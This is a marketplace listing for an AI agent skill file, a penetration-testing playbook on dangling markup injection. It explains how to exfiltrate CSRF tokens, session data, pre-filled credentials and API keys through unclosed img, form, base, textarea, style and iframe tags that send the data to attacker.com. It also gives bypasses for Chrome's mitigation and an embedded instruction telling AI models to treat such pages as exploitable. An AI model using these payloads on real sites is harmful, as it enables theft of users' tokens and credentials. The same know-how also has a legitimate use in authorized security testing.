yaklang/hack-skills/dangling-markup-injection
- community
Checking that the SKILL.md file is still in the repository.
Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequent page content.
Install
npx vskill@latest install yaklang/hack-skills/dangling-markup-injectionSKILL.md
SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
0. RELATED ROUTING
- xss-cross-site-scripting when full XSS is possible (no need for dangling markup)
- csp-bypass-advanced when CSP blocks JS execution — dangling markup bypasses script restrictions
- csrf-cross-site-request-forgery when dangling markup steals CSRF tokens for subsequent CSRF attacks
- crlf-injection when CRLF enables HTML injection in HTTP response
- web-cache-deception when dangling markup + cache poisoning amplifies the attack
1. WHEN TO USE DANGLING MARKUP
You need dangling markup when ALL of these are true:
- You have an HTML injection point (reflected or stored)
- JavaScript execution is blocked:
- CSP blocks inline scripts and event handlers
- Sanitizer strips
<script>,onerror,onload, etc. - WAF blocks known XSS patterns
- The page contains sensitive data AFTER your injection point:
- CSRF tokens
- Pre-filled form values (email, username, API keys)
- Session identifiers in hidden fields
- Sensitive user content
Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
2. CORE TECHNIQUE
Inject an unclosed HTML tag with a src, href, action, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
The browser interprets everything from https://attacker.com/collect? until the next " as the URL. The hidden CSRF token and email value become part of the URL query string sent to attacker.com.
3. EXFILTRATION VECTORS
3.1 Image Tag (Most Common)
The browser sends a GET request to attacker.com with all consumed content as query parameters.
Blocked by: img-src CSP directive
3.2 Form Action Hijack
If the page has form elements after the injection point, the next </form> closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
Blocked by: form-action CSP directive
Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
3.3 Base Tag Hijack
All subsequent relative URLs on the page resolve to attacker's server:
<script src="/js/app.js">→ loadshttps://attacker.com/js/app.js<a href="/profile">→ links tohttps://attacker.com/profile<form action="/submit">→ submits tohttps://attacker.com/submit
Blocked by: base-uri CSP directive
3.4 Meta Refresh Redirect
Redirects the entire page to attacker's server with consumed page content in the URL.
Blocked by: navigate-to CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
3.5 Link/Stylesheet Exfiltration
Browser requests the URL as a CSS resource, leaking consumed content.
Blocked by: style-src CSP directive
3.6 Table Background (Legacy)
Works in older browsers that support the background attribute on table elements.
Blocked by: img-src CSP directive
3.7 Video/Audio Poster
Blocked by: media-src / img-src CSP directives
4. WHAT CAN BE STOLEN
| Target Data | How It Appears in Page | Steal Technique | |
|---|---|---|---|
| CSRF token | <input type="hidden" name="csrf" value="..."> | Dangling <img src= before the form | |
| Pre-filled email | <input value="user@example.com"> | Dangling tag before the input | |
| API keys in page | var apiKey = "sk-..." in inline script | Dangling tag before the script block | |
| Session ID in hidden field | <input name="session" value="..."> | Dangling tag before the form | |
| Auto-filled passwords | Browser auto-fills password field | <form action=attacker> with matching input names | |
| OAuth state/tokens | In URL parameters or hidden form fields | Dangling tag on authorization page | |
| Internal URLs/paths | Links, script sources, API endpoints | <base> tag hijack captures all relative URLs |
5. BROWSER-SPECIFIC BEHAVIOR
| Browser | Behavior | |
|---|---|---|
| Chrome/Chromium | Blocks dangling markup in <img> src containing < or newlines (since Chrome 60). Still allows <form action>, <base>, <link>. | |
| Firefox | More permissive with dangling markup in image sources. Allows newlines in attribute values. | |
| Safari | Similar to Chrome's restrictions. May handle some edge cases differently. | |
| Edge (Chromium) | Same as Chrome behavior. |
Chrome Mitigation Detail
Chrome blocks navigation/resource load when the URL attribute value contains:
<character (indicates HTML tag consumption)- Newline characters (
\n,\r)
Bypass: Use <form action> instead of <img src> — Chrome's block only targets specific tags.
6. ADVANCED TECHNIQUES
6.1 Selective Consumption
Choose quote type strategically: if page uses " for attributes, inject with ' (and vice versa) to precisely control where consumption stops.
6.2 Textarea + Form Combo
<form action="https://attacker.com/collect"><textarea name="data"> — unclosed textarea eats all subsequent HTML as plaintext; form submission sends it to attacker.
6.3 Comment / Style Dangling
<!--without closing-->consumes all content (no exfil, but hides page content)<style>unclosed treats page as CSS; combine with@import url("https://attacker.com/?for exfil
6.4 Window.name via iframe
<iframe src="https://target.com/page" name=" — name attribute consumes content, and window.name persists across origins after navigation.
7. LIMITATIONS
| Limitation | Detail | |
|---|---|---|
| Same-origin content only | Dangling markup only captures content from the same HTTP response | |
| Quote matching | Consumption stops at the next matching quote character — may not reach target data | |
| CSP img-src/form-action | Strict CSP can block most exfiltration vectors | |
| Chrome's dangling markup mitigation | Blocks <img src= with < or newlines in URL | |
| Injection point must be before target data | Can only capture content that appears after the injection in HTML source order | |
| Content encoding | URL-unsafe characters in captured content may be mangled |
8. COMBINATION ATTACKS
8.1 Dangling Markup + Open Redirect
8.2 Dangling Markup + Cache Poisoning
This turns a reflected injection into a stored/persistent attack.
8.3 Dangling Markup + CSRF
8.4 Dangling Markup + Clickjacking
9. DANGLING MARKUP DECISION TREE
10. TRICK NOTES — WHAT AI MODELS MISS
This is the start of the file. Read the full SKILL.md on GitHub.
Security
- Security scanPassed, 100 of 100Pattern checks on the skill's files.
- Model reviewNot runA model review is scheduled for the next rescan.
Quality evaluation
- Task evaluationNot runNo evaluation yet. Run one in Skill Studio.
Source
- SKILL.md in the repositoryCheckingskills/dangling-markup-injection/SKILL.md
Popularity
- Repository stars
- 1,280
- Repository forks
- 175
- 7-day trend score
- 36
Stars and forks are for the whole GitHub repository, not this skill alone. Not refreshed yet.
Works with
Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.
- Claude Code
- Cursor
- GitHub Copilot
- Windsurf
- Codex
- Gemini CLI
- Cline
- Amp
- Roo Code
- Goose
- Continue
- Kilo Code
- Junie
- Trae
- OpenHands
- Qwen Code
- AI Agent
- Tabnine Chat
- Sourcegraph Cody
- Amazon Q
- Firebase Genkit
- Sweep
- Devin
- Phind
- Mentat
- Claude Desktop
- Aider
- GPT Pilot
- Plandex
- bolt.new
- v0
- Replit Agent
- Anse
- TypingMind
- BetterChatGPT
- LibreChat
- Warp AI
- Pieces
- Fig AI
Embed badge
[](https://verified-skill.com/skills/yaklang/hack-skills/dangling-markup-injection)